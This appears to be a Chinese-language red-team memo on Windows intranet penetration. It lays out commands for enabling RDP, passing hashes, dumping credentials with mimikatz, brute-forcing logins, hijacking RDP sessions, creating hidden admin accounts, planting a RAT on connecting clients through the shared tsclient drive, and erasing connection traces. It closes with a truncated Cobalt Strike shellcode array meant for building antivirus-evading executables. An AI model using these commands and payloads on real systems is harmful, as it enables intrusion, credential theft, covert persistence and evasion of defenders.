内网渗透备忘录

[toc]

欢迎关注公众号,以后博客不更新了,文章都在公众号发。

不同版本Windows开启RDP

可以连接到运行以下 Windows 操作系统的电脑:

  • Windows 10 专业版
  • Windows 10 企业版
  • Windows 8 企业版
  • Windows 8 专业版
  • Windows 7 专业版
  • Windows 7 企业版
  • Windows 7 旗舰版
  • Windows 7 旗舰版
  • Windows 2008 Server
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016
  • Windows Multipoint Server 2011
  • Windows Multipoint Server 2012
  • Windows Small Business Server 2008
  • Windows Small Business Server 2011

以下计算机可以运行远程桌面网关:

  • Windows 2008 Server
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016
  • Windows Small Business Server 2011

以下操作系统可用作 RD Web 访问或 RemoteApp 服务器:

  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016

远程桌面客户端不会连接到以下 Windows 版本:

  • Windows 7 简易版
  • Windows 7 家庭版
  • Windows 8 家庭版
  • Windows 8.1 家庭版
  • Windows 10 家庭版

判断是否开启RDP

默认情况下,Window XP和 server 2003上的远程桌面未启用 ,通过下面的注册表查询可以知道目标机器是否开启了RDP服务

1
2
3
4
5
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 
# 查看RDP服务是否开启:1关闭,0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

# 查看RDP服务的端口

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621113523181.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621113556564.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621114128380.png)

16进制 d3d 就是 10进制的 3389

方法二,通过查看进程。

1
2
tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "844" # 找到进程对应的端口号

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621114506770.png)

通过注册表开启RDP

reg文件

第一种方法也是用”echo”命令写入一个 3389.reg文件,再”regedit /s 3389.reg”导入注册表文件即可开启,比较简单。将如下代码一行一行地复制到cmdshell窗口后按回车执行:

1
2
3
4
5
6
7
8
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsdpwdTds cp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg

完成以上操作后再执行”regedit /s 3389.reg”导入注册表即可生效

1
2
3
4
5
版本	Windows 10 专业版
版本号 21H1
安装日期 2021/6/19
操作系统内部版本 19043.928
体验 Windows Feature Experience Pack 120.2212.551.0

出现了UAC

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621115651613.png)

cmd

1
2
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621120045039.png)

因此,要想开启RDP,首先是获得了系统的管理员权限。

注:

如果修改连接端口,系统重启后才能生效

补充

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则允许3389端口

修改防火墙配置,允许3389端口的命令如下:

1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

通过wmic开启RDP

1
wmic /node: "192.168.1.160" /USER:"192.168.1.160\administrator" PATH win32_erminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要输入远程机器上管理员密码

添加用户到Remote Desktop Users组

查看本地所有工作组

1
net localgroup

查看Administrator组内的用户

1
net localgroup Administrators

查看Remote Desktop Users组内的用户

1
net localgroup "Remote Desktop Users"

赋予非administrator组用户远程桌面登录权限,也即把目标用户加入Remote Desktop Users组

1
net localgroup "Remote Desktop Users" username /add 

此后username具有远程登录的权限,登录完成后将username在Remote Desktop Users组中删除

1
net localgroup "Remote Desktop Users" username /del

RDP登录

Windows 明文登录

  1. mstsc.exe
  2. mstsc.exe /console /v:ip/admin # 如果登录用户数量达到限制,可以使用该命令强制踢出一个用户

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621195256529.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621200056069.png)

被踢下线

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621200125104.png)

Windows 使用 Hash 登录

mstsc

Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;Client需要支持 Restricted Admin mode,当前系统不支持,链接时将出现如下:

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621202739352.png)

可以通过如下命令开启 Restricted Admin mode

1
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否已经开启

1
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

开启后使用:mstsc.exe /restrictedadmin 进行登录不需要密码,将使用当前用户的hash进行验证

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621202945033.png)

还有一个条件就是本地有rdp的凭据,不然就会下面这样

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621203044329.png)

mimikatz

  1. mimikatz.exe # 需要管理员权限
  2. privilege::debug
  3. sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe /restrictedadmin”

mimikatz 抓取hash

在Windows2000以后,Windows机器都用NTLM算法在本地保存用户的密码,密码的NTLM哈希保存在%SystemRoot%\System32\config\SAM文件中。 Windows操作系统通常使用两种方法对用户的密码进行哈希处理,即 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所谓哈希(Hash),即使用一种加密方法对明文密码进行加密,对一个任意长度的字符串数据进行一次加密运算,都可以返回一个固定长度的字符串。Windows加密过的密码口令,我们称之为Hash。

Windows操作系统中的密码一般由两部分组成:一部分为LM Hash,另一部分为NTLM Hash。在Windows中,Hash的结构通常如下:

1
Username:RID:LM-Hash:NT-Hash

在windows2000以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。

在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件(在域环境中,用户信息存储在NTDS.dit中)中获得所有用户的Hash。也可以通过Mimikatz读取lsass.exe进程获得已登录用户的NTLM hash和明文值 。

注:但是在安装了KB2871997补丁或者系统版本大于win10或windows server 2012时,默认在内存缓存中禁止保存明文密码,这样利用mimikatz就不能从内存中读出明文密码了,但可以通过修改注册表的方式抓取明文。

Mimikatz读取明文密码和hash也时最常用的方法。需要管理员权限。

1
2
privilege::debug      // 提升至debug权限
sekurlsa::logonpasswords // 抓取密码

Linux明文登录

1
rdesktop ip:port

Mac

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210621201013729.png)


上面其实简单来说都是针对支持RDP的Windows server 操作系统的。还有Windows 7、8这些 没有server的。rdp服务如何开启?

Windows Server 03

1
2
3
4
5
6
7
8
开启:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

或者

1
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

Windows Xp

1
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

Windows 8

三条命令即可:

  1. wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1
  2. wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1
  3. reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

或者reg

1
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

Windows 2012

通用

Windows 7

  1. wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1
  2. wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1

以上前提条件是确保Windows Management Instrumentation(Winmgmt)服务已正常启动,权限为管理员权限。

Windows 2016

Server 2016 默认远程桌面连接数是 2 个用户,如果多余两个用户进行远程桌面连接时,系统就会提示超过连接数

使用powershell,

设置 fDenyTSConnections 为0,允许Terminal Services。

1
New-ItemProperty -Path 'HKLM:SystemCurrentControlSetControlTerminal Server' -Name 'fDenyTSConnections' -Value 0 -PropertyType dword -Force

开启用户验证,推荐默认开启,但是作为渗透测试的话,应该是可以不用的

1
New-ItemProperty -Path 'HKLM:SystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp' -Name 'UserAuthentication' -Value 1 -PropertyType dword -Force

添加防火墙规则

1
Enable-NetFirewallRule -DisplayGroup 'Remote Desktop'
1
2
3
4
# Enable Remote Desktop
(Get-WmiObject Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices).SetAllowTsConnections(1,1) | Out-Null
(Get-WmiObject -Class "Win32_TSGeneralSetting" -Namespace root\cimv2\TerminalServices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null
Get-NetFirewallRule -DisplayName "Remote Desktop*" | Set-NetFirewallRule -enabled true

Windows Server 2019

开启RDP服务

1
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

添加防火墙规则允许RDP

1
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

非服务器版本的Windows系统支持多用户登录的方法

主要是3gstudent 师傅博客的思路,

非服务器版本的Windows系统默认只允许一个账户登录

具体表现为:

  • 远程登录时,使用与原系统相同的账户,原系统将被切换到登录界面
  • 使用不同的账户,登录时提示其他用户已登录到此计算机
  • 选择继续后,原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意,退回到登录界面)

1. 使用mimikatz

1
2
privilege::debug
ts::multirdp

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622161621291.png)

开启多用户登录功能,最高支持到Win7

使用与原系统相同的账户,原系统还是会被切换到登录界面

使用与原系统不同的账户,登录成功。

2. 修改termsrv.dll

原理:Windows在开启服务Remote Desktop Services时,会加载termsrv.dl

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622161930740.png)

通过修改内存中的termsrv.dll实现开启多用户功能

不进一步深入了,技术水平还有限。

3. 使用rdpwrap

当个jb小子比较适合我,所以看第三种方法,使用rdpwrap这个工具。

https://github.com/stascorp/rdpwrap

C# 版本:https://github.com/infosecn1nja/SharpDoor

SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file, for opsec considerations SharpDoor still using cmd.exe to run sc services to impersonating as trustedinstaller in the future will be avoiding cmd.exe usage, currently only support for Windows 10.

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622162436228.png)

RDP Wrapper works as a layer between Service Control Manager and Terminal Services, so the original termsrv.dll file remains untouched. Also this method is very strong against Windows Update.

不修改termsrv.dll,通过传入不同参数实现

安装:

1
RDPWInst.exe -i is

释放rdpwrap.dll和rdpwrap.ini至System32文件夹

rdpwrap.dll会被加载到同termsrv.dll相同的进程

此时,能够使用不同用户进行远程连接

卸载:

1
RDPWInst.exe -u

确定RDP有效用户名

明文密码

RDP暴破

超级弱口令(🐶)

Lodon https://github.com/k8gege/Ladon/releases

Goby

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622211811732.png)

Hydra

1
hydra 192.168.1.2 rdp -L user.txt -P pass.txt -V

SMB爆破

msf

auxiliary/scanner/smb/smb_login

Ladon

https://github.com/k8gege/Ladon/releases

Goby

不过这种暴破的,操作,太嚣张了,推荐凌晨的时候搞。

Hash

Impacket工具包中的rdp_check.py 脚本可以通过hash确定目标机器是否存在枚举的用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

usage: rdp_check.py [-h] [-hashes LMHASH:NTHASH] target

Test whether an account is valid on the target host using the RDP protocol.

positional arguments:
target [[domain/]username[:password]@]<targetName or address>

optional arguments:
-h, --help show this help message and exit

authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH

python rdp_check.py ./[email protected] -hashes :618B18AD4171A53695DD997AB02D55C4

RDP 权限维持

原文地址:http://t3ngyu.leanote.com/post/LM-RDP

1. 关闭RDP 安全认证

​ 当服务器开启安全认证时,必须先通过登陆密码才能进入远程桌面;如果服务端用的是不安全的认证方式,即可以先远程链接后登陆可以触发Shift后门

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622165057305.png)

如何设置不安全的连接,去掉”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,需要注意的是先上系统后验证也会在计算机本地留下一定的进程、日志。

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622165215060.png)

2. Shift后门 + RDP Session 劫持

要用到的工具,tscon,微软自带。

配合上面的关闭RDP安全认证方式,利用Shift后门可以让攻击者快速获得System权限,结合RDP劫持可以实现无需创建用户、不更改劫持用户登录时间、解锁劫持用户界面、等功能。注意RDP劫持需要System权限

1
tscon id # (要劫持的用户id,query user查看)

另外一种方法可以通过创建服务激活:

1
2
sc create rdpjack binpath="cmd.exe /k tscon 2 /dest:console"
net start radjack # 执行后切换到目标界面下

Mimikatz中也有相关的利用模块

1
2
3
4
5
6
mimikatz.exe
ts::sessions
ts::remote /id:1
privilege::debug
token::elevate
ts::remote /id:1

RDP劫持经常应用到如下场景:

(1)需要获取目标界面信息,如:mssql客户端连接数据库

(2)切换域用户身份,域内提权。如:域管账号登录在当前机器,抓密码的方式均被拦截可以考虑该方式

(3)绕过安全防护。如:之前遇到的一个奇葩环境,System权限使用prodump被AV拦截,但是切换到管理员权限可以正常dump……

RDP 服务器反打客户端

需要客户端RDP链接时,开启磁盘共享(将本地磁盘挂在到服务器上)才能正常利用

手动利用过程:假设客户端和登录服务器的用户都是Administrator

​ (1)在服务器端设置Administrator 启动项目,C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\powershell.vbs 作用是无弹窗执行bat脚本

1
set ws=WScript.CreateObject("WScript.Shell")ws.Run "C:\Windows.bat",0ws.Run "cmd /c del C:\Windows\Temp\service.exe",0

​ (2)Windows.bat 脚本内容实现马(service.exe)拷贝到客户端的启动目录

1
copy "C:\Windows\Temp\service.exe" "\\tsclient\c\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\service.exe"

也可以根据实际情况,将Rat拷贝到客户端的其他目录,将激活脚本拷贝到客户端启动目录;

如果不出网的情况下,也可以将exe替换成要执行的脚本 。

利用工具:https://github.com/mdsecactivebreach/RDPInception

  1. Modify batch file to execute PowerShell stager, EXE or even DLL.
  2. Upload to the target, execute.

开启RDP影子用户

在Windows中,添加账户名后面加入$符合可以使该用户在命令行中隐藏

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622213958809.png)

net user 是看不到的,但是确实存在。

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622214055156.png)

将影子用户添加到管理员组:

1
net localgroup administrators nb666$ /add

这点隐藏完全不够,Windows用户的登录界面,会显示所有可以登录的用户。

影子用户隐藏登录界面

方法:更改注册表,克隆账号。

启动cmd,然后输入regedit,打开注册表。

找到 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User,而默认情况下SAM键值只能由system权限进行修改

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622215055478.png)

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622215118852.png)

导出注册表,并修改F值

img

然后替换F值,删除之前创建的影子用户即可。

具体操作看谷师傅的博客:https://hackergu.com/power-shadowuser/

用户克隆的注意事项:

我们以test$身份登录,但是登陆之后的身份却是WIN7用户,桌面也是WIN7用户的,达到克隆效果。所以,在实际操作时,要小心在桌面的操作,以防被发现。

进行操作的时候,不要使用域用户进行操作,该操作只适用于本地用户。利用的局限性比较大,只有在登录远程桌面并且权限较大时才可以精确利用。

RDP 连接痕迹清除

利用”跳板”主机连接许多内网IP地址的3389 在渗透结束时清除”脚印” 3389连接记录也是必清除项目之一

运行regedit

找到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default 设置为不可改写,即不会留记录。

如下,

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622221409318.png)

这里也可以导出RDP的连接记录。

通过以下命令枚举指定注册表项下所有的的子项,即当前用户所连接过的所有的主机名:

1
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

然后使用以下命令查询指定注册表项的注册表键值,即查看连接所使用的用户名:

1
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\1.xxx.xxx.xxx").UsernameHint

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622222847702.png)

并且在运行mstsc.exe ,连接框中也会有连接过的ip/域名。

这个信息储存在“我的文档”下的“Default.rdp”文件中,删掉就可以了。

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210622221553138.png)

CVE-2019-0708(BlueKeep)

2019 年 5 月 14 日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口 3389,RDP 协议进行攻击的。

此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与 2017 年 WannaCry 恶意软件的传播方式类似。

它影响了某些旧版本的 Windows 系统,包括:

Windows 7 foR 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 foR 32-bit Systems Service Pack 2

Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows XP SP3 x86

Windows XP Professional x64 Edition SP2

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 x64 Edition SP2

Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。

实战还没成功过

参考资料

https://www.jb51.net/article/93496.htm

https://blog.csdn.net/seaskying/article/details/9361181

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95

https://pythonpig.github.io/2016/12/21/%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9F%A5%E8%AF%86%E6%B1%87%E6%80%BB/

https://docs.microsoft.com/zh-cn/windows-server/remote/remote-desktop-services/clients/remote-desktop-supported-config

http://t3ngyu.leanote.com/post/LM-RDP

https://www.cnblogs.com/mujj/articles/3065895.html

https://www.tomshardware.com/reviews/enable-remote-desktop-in-windows-server-2016,5592.html

https://blog.yowko.com/windows-server-2016-enable-remote-desktop/#%E4%BD%BF%E7%94%A8-powershell

https://www.rootusers.com/how-to-enable-remote-desktop-in-windows-server-2019/

https://www.k0rz3n.com/2018/06/26/windows%E6%B8%97%E9%80%8F%E4%B8%AD%E5%90%8E%E9%97%A8%E7%94%A8%E6%88%B7%E6%B7%BB%E5%8A%A0%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/

https://hackergu.com/power-shadowuser/

http://www.91ri.org/2234.html

域外寻找域控思路

主要是端口扫描。

扫描内网中同时开放389和53端口的机器、88和389端口

端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。

端口:88

服务:88/UDP(用户数据报协议)– Kerberos

Kerberos 协议是一种基于密钥分发模型的网络身份验证方法。该协议使在网络上进行通信的实体能够证明彼此的身份,同时该协议可以阻止窃听或重放攻击。 Kerberos 密钥分发中心 (KDC) 在该端口上侦听票证请求。Kerberos 协议的 88 端口也可以是 TCP/UDP。

外网使用该功能需要将服务端机器的查帐端口2531映射到外网。

域外如何打域控

不知道是什么方法的方法

https://cloud.tencent.com/developer/news/140493

Responder 抓到一台域内机器的Net-NTLM v2 Hash ,CME 检查NetBIOS,确定是否和用户对应,hashcat 破解Net-NTLM v2 Hash,获取到 SAM 文件存储的NTLM Hash,pth & psexec。

https://github.com/SpiderLabs/Responder

https://github.com/byt3bl33d3r/CrackMapExec/releases

ZeroLogon

有空复现下,利用链和复现文章网上都有。

账号密码暴破

在内网中,尽量能搜集就先搜集,爆破枚举不到万不得已的情况,不要使用。(流量设备、防火墙)

  • Kerberos 域用户暴破

kerbrute,该工具可在非域主机上使用,保持主机与域控机器通信正常即可。

1
./kerbrute_darwin_amd64 -domain DOMAIN_NAME -users user.txt -password P@ssword01! -dc-ip 192.168.1.2
  • DomainPasswordSpray

域内寻找域控思路

常见的命令

  • net group

net group “domain controllers” /domain

  • nltest
1
nltest /dclist:DOMAIN_NAME
  • net time /domain

查询dns解析记录

若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。

DOMAIN_NAME 为 已知的域名。

1
nslookup -type=all _ldap._tcp.dc._msdcs.DOMAIN_NAME
1
2
3
nslookup
set type=all
ldap.tcp.dc._msdcs.DOMAIN_NAME

或者

1
2
3
nslookup
set type=all
_msdcs.DOMAIN_NAME

原理:域控服务器会向DNS服务器注册DNS记录,以便当客户端需要加入域或者和域有其他交互的时候,可以找到它。

值得注意的是,使用nslookup的时候,DNS服务器必须是内部DNS,否者是查询不到记录的,因为域控服务器只会向内部DNS服务器注册这个记录。

大多情况下,内部DNS服务器和AD域控服务器默认部署在同一台服务器。如果是这种情况,找到DNS服务器就能找到了域控服务器。

SPN 扫描

大部分win系统默认已自带spn探测工具即:setspn.exe

此操作无需管理权限

域内机器执行

1
setspn -T target.com -Q */*

AdFind.exe

列出域控制器名称:

1
AdFind -sc dclist

查询当前域中在线的计算机:

1
AdFind -sc computers_active

查询当前域中在线的计算机(只显示名称和操作系统):

1
AdFind -sc computers_active name operatingSystem

查询当前域中所有计算机:

1
AdFind -f "objectcategory=computer"

查询当前域中所有计算机(只显示名称和操作系统):

1
AdFind -f "objectcategory=computer" name operatingSystem

查询域内所有用户:

1
AdFind -users name

查询所有GPO:

1
AdFind -sc gpodmp

ADSearch 也可以。

https://github.com/tomcarver16/ADSearch

参考资料

https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%9F%9F%E5%86%85%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86.md

http://www.code2sec.com/zai-nei-wang-huan-jing-zhong-ding-wei-adyu-kong-fu-wu-qi.html

https://cloud.tencent.com/developer/news/140493

https://hackergu.com/kerberos-sec-list-brute-user/

Cobalt Strike stageless 和 stage 的区别

今天面试问到了,这里记录一下

L.N 老学长的文章,https://mp.weixin.qq.com/s/0jZ-JRhOu10Dbws3jVIELg ,里,有对这些名词做出解释。推荐看。

  • stageless 和 stage

分阶段和不分阶段,在实际红队工作中,很多时候不能在目标上执行过大的代码和文件,因此出现了,用一个小一点的代码去拉取更大的功能代码的情况。我们把这个一段一段的拉去代码执行的过程叫分阶段执行,因此出现了Stage(分阶段)和Stageless(不分阶段)这两个词。这其实很好理解,但伴随出现的Stager、Stagerless,让人有点傻傻分不清了

  • Stager,主要指用于执行下一阶段代码的相关代码,有点拗口。
  • Stagerless,这个词语应该是国人创造的,我想说用Stageless就好。

https://blog.csdn.net/qq_41874930/article/details/107797189

什么是stage(stageless)?
stage是无阶段的stager,可以直接理解成,stage是stager与它所请求的数据的集合体。stage比stager更安全,但是体积更大。而且在内网穿透的时候基本只能用stage,用stager会十分麻烦,stager是分段传输payload的,使用stager有时候会导致目标无法上线。stage唯一的缺点是相比较而言体积比较大。

什么是stager?
stager其实是一段很简单的加载器,是socketedi协议请求的一段shellcode,它的作用是向teamserver(C2)请求一段数据,这些数据前是个字节是shellcode的长度,后面是shellcode。接收到数据后跳转到shellcode所在的内存处开始运行。


简单来说,就是分阶段(Stage)和不分阶段(Stageless)传输payload,一个体积大,功能全,但是容易被抓。一个体积下,功能需要分几次传输来实现,不容易被抓。

使用C 编译 shellcode 免杀exe

生成shellcode

![image-20210629104551573](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629104551573.png)

![image-20210629104602953](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210629104602953.png)

1
2
/* length: 798 bytes */
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x91\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x31\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x2